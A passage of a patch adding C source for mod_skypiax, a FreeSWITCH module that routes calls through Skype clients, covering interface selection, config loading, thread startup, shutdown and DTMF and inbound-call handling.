+				tech_pvt = find_available_skypiax_interface(NULL);
+				if (tech_pvt)
+					found = 1;
+			} else if (strncmp("RR", interface_name, strlen(interface_name)) == 0) {
+				/* Find the first idle interface using Round Robin */
+				DEBUGA_SKYPE("Finding one available skype interface RR\n", SKYPIAX_P_LOG);
+				tech_pvt = find_available_skypiax_interface_rr();
+				if (tech_pvt)
+					found = 1;
+			}
+
+			for (i = 0; !found && i < SKYPIAX_MAX_INTERFACES; i++) {
+				/* we've been asked for a normal interface name, or we have not found idle interfaces to serve as the "ANY" interface */
+				if (strlen(globals.SKYPIAX_INTERFACES[i].name)
+					&& (strncmp(globals.SKYPIAX_INTERFACES[i].name, interface_name, strlen(interface_name)) == 0)) {
+					if (strlen(globals.SKYPIAX_INTERFACES[i].session_uuid_str)) {
+						DEBUGA_SKYPE
+							("globals.SKYPIAX_INTERFACES[%d].name=|||%s||| session_uuid_str=|||%s||| is BUSY\n",
+							 SKYPIAX_P_LOG, i, globals.SKYPIAX_INTERFACES[i].name, globals.SKYPIAX_INTERFACES[i].session_uuid_str);
+						switch_core_session_destroy(new_session);
+						switch_mutex_unlock(globals.mutex);
+						return SWITCH_CAUSE_NORMAL_TEMPORARY_FAILURE;
+					}
+
+					DEBUGA_SKYPE("globals.SKYPIAX_INTERFACES[%d].name=|||%s|||?\n", SKYPIAX_P_LOG, i, globals.SKYPIAX_INTERFACES[i].name);
+					tech_pvt = &globals.SKYPIAX_INTERFACES[i];
+					found = 1;
+					break;
+				}
+
+			}
+
+		} else {
+			ERRORA("Doh! no destination number?\n", SKYPIAX_P_LOG);
+			switch_core_session_destroy(new_session);
+			return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
+		}
+
+		if (!found) {
+			ERRORA("Doh! no matching interface for |||%s|||?\n", SKYPIAX_P_LOG, interface_name);
+			switch_core_session_destroy(new_session);
+			switch_mutex_unlock(globals.mutex);
+			return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
+		}
+
+		channel = switch_core_session_get_channel(*new_session);
+		skypiax_tech_init(tech_pvt, *new_session);
+
+
+		if (outbound_profile) {
+			char name[128];
+
+			snprintf(name, sizeof(name), "skypiax/%s", outbound_profile->destination_number);
+			//snprintf(name, sizeof(name), "skypiax/%s", tech_pvt->name);
+			switch_channel_set_name(channel, name);
+			caller_profile = switch_caller_profile_clone(*new_session, outbound_profile);
+			switch_channel_set_caller_profile(channel, caller_profile);
+			tech_pvt->caller_profile = caller_profile;
+		} else {
+			ERRORA("Doh! no caller profile\n", SKYPIAX_P_LOG);
+			switch_core_session_destroy(new_session);
+			switch_mutex_unlock(globals.mutex);
+			return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
+		}
+
+		rdest = strchr(caller_profile->destination_number, '/');
+		*rdest++ = '\0';
+
+		skypiax_call(tech_pvt, rdest, 30);
+
+		switch_copy_string(tech_pvt->session_uuid_str, switch_core_session_get_uuid(*new_session), sizeof(tech_pvt->session_uuid_str));
+		caller_profile = tech_pvt->caller_profile;
+		caller_profile->destination_number = rdest;
+
+		switch_channel_set_flag(channel, CF_OUTBOUND);
+		switch_set_flag_locked(tech_pvt, TFLAG_OUTBOUND);
+		switch_channel_set_state(channel, CS_INIT);
+		switch_mutex_unlock(globals.mutex);
+		return SWITCH_CAUSE_SUCCESS;
+	}
+
+	return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
+}
+
+/*!
+ * \brief This thread runs during a call, and monitor the interface for signaling, like hangup, caller id, etc most of signaling is handled inside the skypiax_signaling_read function
+ *
+ */
+static void *SWITCH_THREAD_FUNC skypiax_signaling_thread_func(switch_thread_t * thread, void *obj)
+{
+	private_t *tech_pvt = obj;
+	int res;
+	int forever = 1;
+
+	if (!tech_pvt)
+		return NULL;
+
+	DEBUGA_SKYPE("In skypiax_signaling_thread_func: started, p=%p\n", SKYPIAX_P_LOG, (void *) tech_pvt);
+
+	while (forever) {
+		if (!(running && tech_pvt->running))
+			break;
+		res = skypiax_signaling_read(tech_pvt);
+		if (res == CALLFLOW_INCOMING_HANGUP) {
+			switch_core_session_t *session = NULL;
+			//private_t *tech_pvt = NULL;
+			switch_channel_t *channel = NULL;
+
+			DEBUGA_SKYPE("skype call ended\n", SKYPIAX_P_LOG);
+
+			if (tech_pvt) {
+				session = switch_core_session_locate(tech_pvt->session_uuid_str);
+
+				if (session) {
+					channel = switch_core_session_get_channel(session);
+					if (channel) {
+						switch_channel_hangup(channel, SWITCH_CAUSE_NORMAL_CLEARING);
+						switch_core_session_rwunlock(session);
+					} else {
+						ERRORA("no channel?\n", SKYPIAX_P_LOG);
+						switch_core_session_rwunlock(session);
+					}
+				} else {
+					DEBUGA_SKYPE("no session\n", SKYPIAX_P_LOG);
+				}
+				tech_pvt->interface_state = SKYPIAX_STATE_DOWN;
+				*tech_pvt->session_uuid_str = '\0';
+				//memset(tech_pvt->session_uuid_str, '\0', sizeof(tech_pvt->session_uuid_str));
+			} else {
+				ERRORA("no tech_pvt?\n", SKYPIAX_P_LOG);
+			}
+		}
+	}
+	return NULL;
+}
+
+/* BEGIN: Changes heres */
+static switch_status_t load_config(int reload_type)
+/* END: Changes heres */
+{
+	char *cf = "skypiax.conf";
+	switch_xml_t cfg, xml, global_settings, param, interfaces, myinterface;
+	private_t *tech_pvt = NULL;
+
+	switch_mutex_init(&globals.mutex, SWITCH_MUTEX_NESTED, skypiax_module_pool);
+	if (!(xml = switch_xml_open_cfg(cf, &cfg, NULL))) {
+		ERRORA("open of %s failed\n", SKYPIAX_P_LOG, cf);
+		running = 0;
+		switch_xml_free(xml);
+		return SWITCH_STATUS_TERM;
+	}
+
+	switch_mutex_lock(globals.mutex);
+	if ((global_settings = switch_xml_child(cfg, "global_settings"))) {
+		for (param = switch_xml_child(global_settings, "param"); param; param = param->next) {
+			char *var = (char *) switch_xml_attr_soft(param, "name");
+			char *val = (char *) switch_xml_attr_soft(param, "value");
+
+			if (!strcasecmp(var, "debug")) {
+				DEBUGA_SKYPE("globals.debug=%d\n", SKYPIAX_P_LOG, globals.debug);
+				globals.debug = atoi(val);
+				DEBUGA_SKYPE("globals.debug=%d\n", SKYPIAX_P_LOG, globals.debug);
+			} else if (!strcasecmp(var, "hold-music")) {
+				switch_set_string(globals.hold_music, val);
+				DEBUGA_SKYPE("globals.hold_music=%s\n", SKYPIAX_P_LOG, globals.hold_music);
+			} else if (!strcmp(var, "port")) {
+				globals.port = atoi(val);
+				DEBUGA_SKYPE("globals.port=%d\n", SKYPIAX_P_LOG, globals.port);
+			} else if (!strcmp(var, "codec-master")) {
+				if (!strcasecmp(val, "us")) {
+					switch_set_flag(&globals, GFLAG_MY_CODEC_PREFS);
+				}
+				DEBUGA_SKYPE("codec-master globals.debug=%d\n", SKYPIAX_P_LOG, globals.debug);
+			} else if (!strcmp(var, "dialplan")) {
+				set_global_dialplan(val);
+				DEBUGA_SKYPE("globals.dialplan=%s\n", SKYPIAX_P_LOG, globals.dialplan);
+			} else if (!strcmp(var, "destination")) {
+				set_global_destination(val);
+				DEBUGA_SKYPE("globals.destination=%s\n", SKYPIAX_P_LOG, globals.destination);
+			} else if (!strcmp(var, "context")) {
+				set_global_context(val);
+				DEBUGA_SKYPE("globals.context=%s\n", SKYPIAX_P_LOG, globals.context);
+			} else if (!strcmp(var, "codec-prefs")) {
+				set_global_codec_string(val);
+				DEBUGA_SKYPE("globals.codec_string=%s\n", SKYPIAX_P_LOG, globals.codec_string);
+				globals.codec_order_last = switch_separate_string(globals.codec_string, ',', globals.codec_order, SWITCH_MAX_CODECS);
+			} else if (!strcmp(var, "codec-rates")) {
+				set_global_codec_rates_string(val);
+				DEBUGA_SKYPE("globals.codec_rates_string=%s\n", SKYPIAX_P_LOG, globals.codec_rates_string);
+				globals.codec_rates_last = switch_separate_string(globals.codec_rates_string, ',', globals.codec_rates, SWITCH_MAX_CODECS);
+			}
+
+		}
+	}
+
+	if ((interfaces = switch_xml_child(cfg, "per_interface_settings"))) {
+		int i = 0;
+
+		for (myinterface = switch_xml_child(interfaces, "interface"); myinterface; myinterface = myinterface->next) {
+			char *id = (char *) switch_xml_attr(myinterface, "id");
+			char *name = (char *) switch_xml_attr(myinterface, "name");
+			char *context = "default";
+			char *dialplan = "XML";
+			char *destination = "5000";
+			char *tonegroup = NULL;
+			char *digit_timeout = NULL;
+			char *max_digits = NULL;
+			char *hotline = NULL;
+			char *dial_regex = NULL;
+			char *hold_music = NULL;
+			char *fail_dial_regex = NULL;
+			char *enable_callerid = "true";
+			char *X11_display = NULL;
+			char *tcp_cli_port = NULL;
+			char *tcp_srv_port = NULL;
+			char *skype_user = NULL;
+
+			uint32_t interface_id = 0, to = 0, max = 0;
+
+			tech_pvt = NULL;
+
+			for (param = switch_xml_child(myinterface, "param"); param; param = param->next) {
+				char *var = (char *) switch_xml_attr_soft(param, "name");
+				char *val = (char *) switch_xml_attr_soft(param, "value");
+
+				if (!strcasecmp(var, "tonegroup")) {
+					tonegroup = val;
+				} else if (!strcasecmp(var, "digit_timeout") || !strcasecmp(var, "digit-timeout")) {
+					digit_timeout = val;
+				} else if (!strcasecmp(var, "context")) {
+					context = val;
+				} else if (!strcasecmp(var, "dialplan")) {
+					dialplan = val;
+				} else if (!strcasecmp(var, "destination")) {
+					destination = val;
+				} else if (!strcasecmp(var, "dial-regex")) {
+					dial_regex = val;
+				} else if (!strcasecmp(var, "enable-callerid")) {
+					enable_callerid = val;
+				} else if (!strcasecmp(var, "fail-dial-regex")) {
+					fail_dial_regex = val;
+				} else if (!strcasecmp(var, "hold-music")) {
+					hold_music = val;
+				} else if (!strcasecmp(var, "skype_user")) {
+					skype_user = val;
+				} else if (!strcasecmp(var, "tcp_cli_port")) {
+					tcp_cli_port = val;
+				} else if (!strcasecmp(var, "tcp_srv_port")) {
+					tcp_srv_port = val;
+				} else if (!strcasecmp(var, "X11-display") || !strcasecmp(var, "X11_display")) {
+					X11_display = val;
+				} else if (!strcasecmp(var, "max_digits") || !strcasecmp(var, "max-digits")) {
+					max_digits = val;
+				} else if (!strcasecmp(var, "hotline")) {
+					hotline = val;
+				}
+
+			}
+			if (!skype_user) {
+				ERRORA("interface missing REQUIRED param 'skype_user'\n", SKYPIAX_P_LOG);
+				continue;
+			}
+
+			/* BEGIN: Changes here */
+			if (reload_type == SOFT_RELOAD) {
+				char the_interface[256];
+				sprintf(the_interface, "#%s", name);
+
+				if (interface_exists(the_interface) == SWITCH_STATUS_SUCCESS) {
+					continue;
+				}
+			}
+			/* END: Changes here */
+
+			if (!X11_display) {
+				ERRORA("interface missing REQUIRED param 'X11_display'\n", SKYPIAX_P_LOG);
+				continue;
+			}
+			if (!tcp_cli_port) {
+				ERRORA("interface missing REQUIRED param 'tcp_cli_port'\n", SKYPIAX_P_LOG);
+				continue;
+			}
+
+			if (!tcp_srv_port) {
+				ERRORA("interface missing REQUIRED param 'tcp_srv_port'\n", SKYPIAX_P_LOG);
+				continue;
+			}
+			if (!id) {
+				ERRORA("interface missing REQUIRED param 'id'\n", SKYPIAX_P_LOG);
+				continue;
+			}
+			if (switch_is_number(id)) {
+				interface_id = atoi(id);
+				DEBUGA_SKYPE("interface_id=%d\n", SKYPIAX_P_LOG, interface_id);
+			} else {
+				ERRORA("interface param 'id' MUST be a number, now id='%s'\n", SKYPIAX_P_LOG, id);
+				continue;
+			}
+
+			if (!name) {
+				WARNINGA("interface missing param 'name', not nice, but works\n", SKYPIAX_P_LOG);
+			}
+
+			if (!tonegroup) {
+				tonegroup = "us";
+			}
+
+			if (digit_timeout) {
+				to = atoi(digit_timeout);
+			}
+
+			if (max_digits) {
+				max = atoi(max_digits);
+			}
+
+			if (name) {
+				DEBUGA_SKYPE("name=%s\n", SKYPIAX_P_LOG, name);
+			}
+#ifndef WIN32
+			if (!XInitThreads()) {
+				ERRORA("Not initialized XInitThreads!\n", SKYPIAX_P_LOG);
+			} else {
+				DEBUGA_SKYPE("Initialized XInitThreads!\n", SKYPIAX_P_LOG);
+			}
+			switch_sleep(100);
+#endif /* WIN32 */
+
+			if (interface_id && interface_id < SKYPIAX_MAX_INTERFACES) {
+				private_t newconf;
+				switch_threadattr_t *skypiax_api_thread_attr = NULL;
+				switch_threadattr_t *skypiax_signaling_thread_attr = NULL;
+
+				memset(&newconf, '\0', sizeof(newconf));
+				globals.SKYPIAX_INTERFACES[interface_id] = newconf;
+				globals.SKYPIAX_INTERFACES[interface_id].running = 1;
+
+
+				tech_pvt = &globals.SKYPIAX_INTERFACES[interface_id];
+
+				switch_set_string(globals.SKYPIAX_INTERFACES[interface_id].interface_id, id);
+				if (name) {
+					switch_set_string(globals.SKYPIAX_INTERFACES[interface_id].name, name);
+				} else {
+					switch_set_string(globals.SKYPIAX_INTERFACES[interface_id].name, "N/A");
+				}
+				DEBUGA_SKYPE("CONFIGURING interface_id=%d\n", SKYPIAX_P_LOG, interface_id);
+#ifdef WIN32
+				globals.SKYPIAX_INTERFACES[interface_id].tcp_cli_port = (unsigned short) atoi(tcp_cli_port);
+				globals.SKYPIAX_INTERFACES[interface_id].tcp_srv_port = (unsigned short) atoi(tcp_srv_port);
+#else /* WIN32 */
+				globals.SKYPIAX_INTERFACES[interface_id].tcp_cli_port = atoi(tcp_cli_port);
+				globals.SKYPIAX_INTERFACES[interface_id].tcp_srv_port = atoi(tcp_srv_port);
+#endif /* WIN32 */
+				switch_set_string(globals.SKYPIAX_INTERFACES[interface_id].X11_display, X11_display);
+				switch_set_string(globals.SKYPIAX_INTERFACES[interface_id].skype_user, skype_user);
+				switch_set_string(globals.SKYPIAX_INTERFACES[interface_id].context, context);
+				switch_set_string(globals.SKYPIAX_INTERFACES[interface_id].dialplan, dialplan);
+				switch_set_string(globals.SKYPIAX_INTERFACES[interface_id].destination, destination);
+				switch_set_string(globals.SKYPIAX_INTERFACES[interface_id].context, context);
+
+				DEBUGA_SKYPE
+					("interface_id=%d globals.SKYPIAX_INTERFACES[interface_id].X11_display=%s\n",
+					 SKYPIAX_P_LOG, interface_id, globals.SKYPIAX_INTERFACES[interface_id].X11_display);
+				DEBUGA_SKYPE
+					("interface_id=%d globals.SKYPIAX_INTERFACES[interface_id].skype_user=%s\n",
+					 SKYPIAX_P_LOG, interface_id, globals.SKYPIAX_INTERFACES[interface_id].skype_user);
+				DEBUGA_SKYPE
+					("interface_id=%d globals.SKYPIAX_INTERFACES[interface_id].tcp_cli_port=%d\n",
+					 SKYPIAX_P_LOG, interface_id, globals.SKYPIAX_INTERFACES[interface_id].tcp_cli_port);
+				DEBUGA_SKYPE
+					("interface_id=%d globals.SKYPIAX_INTERFACES[interface_id].tcp_srv_port=%d\n",
+					 SKYPIAX_P_LOG, interface_id, globals.SKYPIAX_INTERFACES[interface_id].tcp_srv_port);
+				DEBUGA_SKYPE("interface_id=%d globals.SKYPIAX_INTERFACES[interface_id].name=%s\n",
+							 SKYPIAX_P_LOG, interface_id, globals.SKYPIAX_INTERFACES[interface_id].name);
+				DEBUGA_SKYPE
+					("interface_id=%d globals.SKYPIAX_INTERFACES[interface_id].context=%s\n",
+					 SKYPIAX_P_LOG, interface_id, globals.SKYPIAX_INTERFACES[interface_id].context);
+				DEBUGA_SKYPE
+					("interface_id=%d globals.SKYPIAX_INTERFACES[interface_id].dialplan=%s\n",
+					 SKYPIAX_P_LOG, interface_id, globals.SKYPIAX_INTERFACES[interface_id].dialplan);
+				DEBUGA_SKYPE
+					("interface_id=%d globals.SKYPIAX_INTERFACES[interface_id].destination=%s\n",
+					 SKYPIAX_P_LOG, interface_id, globals.SKYPIAX_INTERFACES[interface_id].destination);
+				DEBUGA_SKYPE
+					("interface_id=%d globals.SKYPIAX_INTERFACES[interface_id].context=%s\n",
+					 SKYPIAX_P_LOG, interface_id, globals.SKYPIAX_INTERFACES[interface_id].context);
+				WARNINGA("STARTING interface_id=%d\n", SKYPIAX_P_LOG, interface_id);
+
+				switch_threadattr_create(&skypiax_api_thread_attr, skypiax_module_pool);
+				switch_threadattr_stacksize_set(skypiax_api_thread_attr, SWITCH_THREAD_STACKSIZE);
+				switch_thread_create(&globals.SKYPIAX_INTERFACES[interface_id].skypiax_api_thread,
+									 skypiax_api_thread_attr, skypiax_do_skypeapi_thread, &globals.SKYPIAX_INTERFACES[interface_id], skypiax_module_pool);
+
+				switch_sleep(100000);
+
+				switch_threadattr_create(&skypiax_signaling_thread_attr, skypiax_module_pool);
+				switch_threadattr_stacksize_set(skypiax_signaling_thread_attr, SWITCH_THREAD_STACKSIZE);
+				switch_thread_create(&globals.SKYPIAX_INTERFACES[interface_id].
+									 skypiax_signaling_thread, skypiax_signaling_thread_attr,
+									 skypiax_signaling_thread_func, &globals.SKYPIAX_INTERFACES[interface_id], skypiax_module_pool);
+
+				switch_sleep(100000);
+
+				skypiax_audio_init(&globals.SKYPIAX_INTERFACES[interface_id]);
+
+				NOTICA
+					("WAITING roughly 10 seconds to find a running Skype client and connect to its SKYPE API for interface_id=%d\n",
+					 SKYPIAX_P_LOG, interface_id);
+				i = 0;
+				while (globals.SKYPIAX_INTERFACES[interface_id].SkypiaxHandles.api_connected == 0 && running && i < 200) {	// 10 seconds! thanks Jeff Lenk
+					switch_sleep(50000);
+					i++;
+				}
+				if (globals.SKYPIAX_INTERFACES[interface_id].SkypiaxHandles.api_connected) {
+					NOTICA
+						("Found a running Skype client, connected to its SKYPE API for interface_id=%d, waiting 60 seconds for CURRENTUSERHANDLE==%s\n",
+						 SKYPIAX_P_LOG, interface_id, globals.SKYPIAX_INTERFACES[interface_id].skype_user);
+				} else {
+					ERRORA
+						("Failed to connect to a SKYPE API for interface_id=%d, no SKYPE client running, please (re)start Skype client. Skypiax exiting\n",
+						 SKYPIAX_P_LOG, interface_id);
+					running = 0;
+					switch_mutex_unlock(globals.mutex);
+					switch_xml_free(xml);
+					return SWITCH_STATUS_FALSE;
+				}
+
+				i = 0;
+				while (globals.SKYPIAX_INTERFACES[interface_id].SkypiaxHandles.currentuserhandle == 0 && running && i < 1200) {	// 60 seconds! thanks Jeff Lenk
+					switch_sleep(50000);
+					i++;
+				}
+				if (globals.SKYPIAX_INTERFACES[interface_id].SkypiaxHandles.currentuserhandle) {
+					WARNINGA
+						("Interface_id=%d is now STARTED, the Skype client to which we are connected gave us the correct CURRENTUSERHANDLE (%s)\n",
+						 SKYPIAX_P_LOG, interface_id, globals.SKYPIAX_INTERFACES[interface_id].skype_user);
+
+					skypiax_signaling_write(&globals.SKYPIAX_INTERFACES[interface_id], "SET AUTOAWAY OFF");
+				} else {
+					ERRORA
+						("The Skype client to which we are connected FAILED to gave us CURRENTUSERHANDLE=%s, interface_id=%d FAILED to start. No Skype client logged in as '%s' has been found. Please (re)launch a Skype client logged in as '%s'. Skypiax exiting now\n",
+						 SKYPIAX_P_LOG, globals.SKYPIAX_INTERFACES[interface_id].skype_user,
+						 interface_id, globals.SKYPIAX_INTERFACES[interface_id].skype_user, globals.SKYPIAX_INTERFACES[interface_id].skype_user);
+					running = 0;
+					switch_mutex_unlock(globals.mutex);
+					switch_xml_free(xml);
+					return SWITCH_STATUS_FALSE;
+				}
+
+			} else {
+				ERRORA("interface id %d is higher than SKYPIAX_MAX_INTERFACES (%d)\n", SKYPIAX_P_LOG, interface_id, SKYPIAX_MAX_INTERFACES);
+				continue;
+			}
+
+		}
+
+		for (i = 0; i < SKYPIAX_MAX_INTERFACES; i++) {
+			if (strlen(globals.SKYPIAX_INTERFACES[i].name)) {
+				/* How many real intterfaces */
+				globals.real_interfaces = i + 1;
+
+				tech_pvt = &globals.SKYPIAX_INTERFACES[i];
+
+				DEBUGA_SKYPE("i=%d globals.SKYPIAX_INTERFACES[%d].interface_id=%s\n", SKYPIAX_P_LOG, i, i, globals.SKYPIAX_INTERFACES[i].interface_id);
+				DEBUGA_SKYPE("i=%d globals.SKYPIAX_INTERFACES[%d].X11_display=%s\n", SKYPIAX_P_LOG, i, i, globals.SKYPIAX_INTERFACES[i].X11_display);
+				DEBUGA_SKYPE("i=%d globals.SKYPIAX_INTERFACES[%d].name=%s\n", SKYPIAX_P_LOG, i, i, globals.SKYPIAX_INTERFACES[i].name);
+				DEBUGA_SKYPE("i=%d globals.SKYPIAX_INTERFACES[%d].context=%s\n", SKYPIAX_P_LOG, i, i, globals.SKYPIAX_INTERFACES[i].context);
+				DEBUGA_SKYPE("i=%d globals.SKYPIAX_INTERFACES[%d].dialplan=%s\n", SKYPIAX_P_LOG, i, i, globals.SKYPIAX_INTERFACES[i].dialplan);
+				DEBUGA_SKYPE("i=%d globals.SKYPIAX_INTERFACES[%d].destination=%s\n", SKYPIAX_P_LOG, i, i, globals.SKYPIAX_INTERFACES[i].destination);
+				DEBUGA_SKYPE("i=%d globals.SKYPIAX_INTERFACES[%d].context=%s\n", SKYPIAX_P_LOG, i, i, globals.SKYPIAX_INTERFACES[i].context);
+			}
+		}
+	}
+
+	switch_mutex_unlock(globals.mutex);
+	switch_xml_free(xml);
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+SWITCH_MODULE_LOAD_FUNCTION(mod_skypiax_load)
+{
+	switch_api_interface_t *commands_api_interface;
+
+	skypiax_module_pool = pool;
+	memset(&globals, '\0', sizeof(globals));
+
+	running = 1;
+
+	if (load_config(FULL_RELOAD) != SWITCH_STATUS_SUCCESS) {
+		running = 0;
+		return SWITCH_STATUS_FALSE;
+	}
+
+	*module_interface = switch_loadable_module_create_module_interface(pool, modname);
+	skypiax_endpoint_interface = switch_loadable_module_create_interface(*module_interface, SWITCH_ENDPOINT_INTERFACE);
+	skypiax_endpoint_interface->interface_name = "skypiax";
+	skypiax_endpoint_interface->io_routines = &skypiax_io_routines;
+	skypiax_endpoint_interface->state_handler = &skypiax_state_handlers;
+
+	if (running) {
+
+		SWITCH_ADD_API(commands_api_interface, "sk", "Skypiax console commands", sk_function, SK_SYNTAX);
+		SWITCH_ADD_API(commands_api_interface, "skypiax", "Skypiax interface commands", skypiax_function, SKYPIAX_SYNTAX);
+
+		/* indicate that the module should continue to be loaded */
+		return SWITCH_STATUS_SUCCESS;
+	} else
+		return SWITCH_STATUS_FALSE;
+}
+
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_skypiax_shutdown)
+{
+	int x;
+	private_t *tech_pvt = NULL;
+	switch_status_t status;
+	unsigned int howmany = 8;
+	int interface_id;
+
+	running = 0;
+
+	for (interface_id = 0; interface_id < SKYPIAX_MAX_INTERFACES; interface_id++) {
+		tech_pvt = &globals.SKYPIAX_INTERFACES[interface_id];
+
+		if (strlen(globals.SKYPIAX_INTERFACES[interface_id].name)) {
+			if (globals.SKYPIAX_INTERFACES[interface_id].skypiax_signaling_thread) {
+#ifdef WIN32
+				switch_file_write(tech_pvt->SkypiaxHandles.fdesc[1], "sciutati", &howmany);	// let's the controldev_thread die
+#else /* WIN32 */
+				howmany = write(tech_pvt->SkypiaxHandles.fdesc[1], "sciutati", howmany);
+#endif /* WIN32 */
+			}
+
+			if (globals.SKYPIAX_INTERFACES[interface_id].skypiax_api_thread) {
+#ifdef WIN32
+				if (SendMessage(tech_pvt->SkypiaxHandles.win32_hInit_MainWindowHandle, WM_DESTROY, 0, 0) == FALSE) {	// let's the skypiax_api_thread_func die
+					DEBUGA_SKYPE("got FALSE here, thread probably was already dead. GetLastError returned: %d\n", SKYPIAX_P_LOG, GetLastError());
+					globals.SKYPIAX_INTERFACES[interface_id].skypiax_api_thread = NULL;
+				}
+#else
+				XEvent e;
+				Atom atom1 = XInternAtom(tech_pvt->SkypiaxHandles.disp, "SKYPECONTROLAPI_MESSAGE_BEGIN",
+										 False);
+				memset(&e, 0, sizeof(e));
+				e.xclient.type = ClientMessage;
+				e.xclient.message_type = atom1;	/*  leading message */
+				e.xclient.display = tech_pvt->SkypiaxHandles.disp;
+				e.xclient.window = tech_pvt->SkypiaxHandles.skype_win;
+				e.xclient.format = 8;
+
+				XSendEvent(tech_pvt->SkypiaxHandles.disp, tech_pvt->SkypiaxHandles.win, False, 0, &e);
+				XSync(tech_pvt->SkypiaxHandles.disp, False);
+#endif
+			}
+			x = 10;
+			while (x) {			//FIXME 0.5 seconds?
+				x--;
+				switch_yield(50000);
+			}
+			if (globals.SKYPIAX_INTERFACES[interface_id].skypiax_signaling_thread) {
+				switch_thread_join(&status, globals.SKYPIAX_INTERFACES[interface_id].skypiax_signaling_thread);
+			}
+			if (globals.SKYPIAX_INTERFACES[interface_id].skypiax_api_thread) {
+				switch_thread_join(&status, globals.SKYPIAX_INTERFACES[interface_id].skypiax_api_thread);
+			}
+#ifndef WIN32
+			WARNINGA("SHUTDOWN interface_id=%d\n", SKYPIAX_P_LOG, interface_id);
+			shutdown(tech_pvt->audioskypepipe[0], 2);
+			close(tech_pvt->audioskypepipe[0]);
+			shutdown(tech_pvt->audioskypepipe[1], 2);
+			close(tech_pvt->audioskypepipe[1]);
+			shutdown(tech_pvt->audiopipe[0], 2);
+			close(tech_pvt->audiopipe[0]);
+			shutdown(tech_pvt->audiopipe[1], 2);
+			close(tech_pvt->audiopipe[1]);
+			shutdown(tech_pvt->SkypiaxHandles.fdesc[0], 2);
+			close(tech_pvt->SkypiaxHandles.fdesc[0]);
+			shutdown(tech_pvt->SkypiaxHandles.fdesc[1], 2);
+			close(tech_pvt->SkypiaxHandles.fdesc[1]);
+#endif /* WIN32 */
+		}
+
+	}
+	switch_safe_free(globals.dialplan);
+	switch_safe_free(globals.context);
+	switch_safe_free(globals.destination);
+	switch_safe_free(globals.codec_string);
+	switch_safe_free(globals.codec_rates_string);
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+void *SWITCH_THREAD_FUNC skypiax_do_tcp_srv_thread(switch_thread_t * thread, void *obj)
+{
+	return skypiax_do_tcp_srv_thread_func(obj);
+}
+
+void *SWITCH_THREAD_FUNC skypiax_do_tcp_cli_thread(switch_thread_t * thread, void *obj)
+{
+	return skypiax_do_tcp_cli_thread_func(obj);
+}
+
+void *SWITCH_THREAD_FUNC skypiax_do_skypeapi_thread(switch_thread_t * thread, void *obj)
+{
+	return skypiax_do_skypeapi_thread_func(obj);
+}
+
+int dtmf_received(private_t * tech_pvt, char *value)
+{
+	switch_core_session_t *session = NULL;
+	switch_channel_t *channel = NULL;
+
+	session = switch_core_session_locate(tech_pvt->session_uuid_str);
+	channel = switch_core_session_get_channel(session);
+
+	if (channel) {
+
+		if (!switch_channel_test_flag(channel, CF_BRIDGED)) {
+
+			switch_dtmf_t dtmf = { (char) value[0], switch_core_default_dtmf_duration(0) };
+			DEBUGA_SKYPE("received DTMF %c on channel %s\n", SKYPIAX_P_LOG, dtmf.digit, switch_channel_get_name(channel));
+			switch_mutex_lock(tech_pvt->flag_mutex);
+			//FIXME: why sometimes DTMFs from here do not seems to be get by FS?
+			switch_channel_queue_dtmf(channel, &dtmf);
+			switch_set_flag(tech_pvt, TFLAG_DTMF);
+			switch_mutex_unlock(tech_pvt->flag_mutex);
+		} else {
+			DEBUGA_SKYPE
+				("received a DTMF on channel %s, but we're BRIDGED, so let's NOT relay it out of band\n", SKYPIAX_P_LOG, switch_channel_get_name(channel));
+		}
+	} else {
+		WARNINGA("received %c DTMF, but no channel?\n", SKYPIAX_P_LOG, value[0]);
+	}
+	switch_core_session_rwunlock(session);
+
+	return 0;
+}
+
+int start_audio_threads(private_t * tech_pvt)
+{
+	switch_threadattr_t *thd_attr = NULL;
+
+	switch_threadattr_create(&thd_attr, skypiax_module_pool);
+	switch_threadattr_detach_set(thd_attr, 1);
+	switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
+	switch_thread_create(&tech_pvt->tcp_srv_thread, thd_attr, skypiax_do_tcp_srv_thread, tech_pvt, skypiax_module_pool);
+	DEBUGA_SKYPE("started tcp_srv_thread thread.\n", SKYPIAX_P_LOG);
+
+	switch_threadattr_create(&thd_attr, skypiax_module_pool);
+	switch_threadattr_detach_set(thd_attr, 1);
+	switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
+	switch_thread_create(&tech_pvt->tcp_cli_thread, thd_attr, skypiax_do_tcp_cli_thread, tech_pvt, skypiax_module_pool);
+	DEBUGA_SKYPE("started tcp_cli_thread thread.\n", SKYPIAX_P_LOG);
+	switch_sleep(100000);
+
+	return 0;
+}
+
+int new_inbound_channel(private_t * tech_pvt)
+{
+	switch_core_session_t *session = NULL;
+	switch_channel_t *channel = NULL;
+
+	if ((session = switch_core_session_request(skypiax_endpoint_interface, SWITCH_CALL_DIRECTION_INBOUND, NULL)) != 0) {
+		switch_core_session_add_stream(session, NULL);
+		channel = switch_core_session_get_channel(session);
+		skypiax_tech_init(tech_pvt, session);
+
+		if ((tech_pvt->caller_profile =
+			 switch_caller_profile_new(switch_core_session_get_pool(session), "skypiax",
+									   tech_pvt->dialplan, tech_pvt->callid_name,
+									   tech_pvt->callid_number, NULL, NULL, NULL, NULL, "mod_skypiax", tech_pvt->context, tech_pvt->destination)) != 0) {
+			char name[128];
+			//switch_snprintf(name, sizeof(name), "skypiax/%s/%s", tech_pvt->name, tech_pvt->caller_profile->destination_number);
+			switch_snprintf(name, sizeof(name), "skypiax/%s", tech_pvt->name);
+			switch_channel_set_name(channel, name);
+			switch_channel_set_caller_profile(channel, tech_pvt->caller_profile);
+		}
+		switch_channel_set_state(channel, CS_INIT);
+		if (switch_core_session_thread_launch(session) != SWITCH_STATUS_SUCCESS) {
+			ERRORA("Error spawning thread\n", SKYPIAX_P_LOG);
+			switch_core_session_destroy(&session);
+		}
+	}
+	switch_channel_mark_answered(channel);
+
+	DEBUGA_SKYPE("Here\n", SKYPIAX_P_LOG);
+
+	return 0;
+}
+
+int remote_party_is_ringing(private_t * tech_pvt)
+{
+	switch_core_session_t *session = NULL;
+	switch_channel_t *channel = NULL;
